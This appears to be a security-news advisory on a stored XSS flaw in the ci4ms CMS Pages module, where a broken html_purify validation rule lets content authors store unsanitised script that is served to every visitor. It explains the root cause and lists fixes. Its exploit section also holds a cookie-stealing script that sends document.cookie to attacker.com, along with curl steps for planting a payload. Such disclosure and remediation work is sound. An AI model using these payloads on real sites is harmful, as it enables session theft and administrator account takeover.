ci4ms Pages Module, Stored XSS, Critical

Listen to this Post

How the mentioned CVE works (around 20 lines):

The vulnerability resides in the `html_purify` validation rule of ci4ms (CodeIgniter 4 CMS). The rule is defined in `modules/Backend/Validation/CustomRules.php:54` and accepts its argument by reference (&$str). However, CodeIgniter 4’s `Validation::processRules()` passes a local copy of the POST value to the rule. Even though the rule mutates the reference, only the local copy is updated; the original `$_POST` array remains unchanged. No controller ever calls `CustomRules::getClean()` to retrieve the sanitized value. In the Pages module (modules/Pages/Controllers/Pages.php), the `create()` and `update()` methods attach `html_purify` to `lang..content` (lines 82 and 130) but then directly insert the raw POST data into the database (lines 111 and 157). The stored payload resides in pages_langs.content. The public `Home::index()` controller fetches this row and passes it to app/Views/templates/default/pages.php:32, which echoes `$pageInfo->content` without `esc()` – no HTML sanitization. Because pages can be promoted to the site home page (Pages::setHomePage), the XSS can be served at `/` to every visitor. An attacker with only `pages.create` permission (non-admin content author) can inject arbitrary JavaScript. When an administrator views the public page, their backend session cookie is exfiltrated, allowing full admin account takeover.

dailycve form:

Platform: ci4ms
Version: Unknown
Vulnerability: Stored XSS
Severity: Critical
date: 2026-05-18

Prediction: 2026-06-01

What Undercode Say:

Identify vulnerable endpoint
curl -k -I https://target/backend/pages/create
Grep for raw output in view
grep -r "echo \$pageInfo->content" app/Views/templates/
Check validation rule registration
grep -A2 "html_purify" modules/Pages/Controllers/Pages.php
Verify missing sanitization before insert
awk '/create(.pages_langs/,/content/ {print}' modules/Pages/Controllers/Pages.php

Exploit:

// PoC payload for lang[bash][bash]
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step-by-step curl
curl -k -c cookies.txt -X POST https://target/login -d '[email protected]&password=pass'
curl -k -b cookies.txt -X POST https://target/backend/pages/create -d 'lang[bash][]=XSS' -d 'lang[bash][seflink]=xss' -d 'lang[bash][content]=<script>alert(1)</script>' -d 'isActive=1'
curl -k https://target/xss Triggers stored XSS

Protection from this CVE

  • Replace raw insert with `CustomRules::sanitizeHtml()` in `Pages::create()` and Pages::update().
  • Escape output: change `content ?>` to <?= esc($pageInfo->content) ?>.
  • Remove the broken reference-mutation pattern; rewrite `html_purify` to return sanitized string via getValidated().

Impact

  • Stored XSS on every public page, including home (/).
  • Full admin session takeover via cookie exfiltration.
  • Privilege escalation from content author to administrator.
  • Persistent until malicious page is manually deleted.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top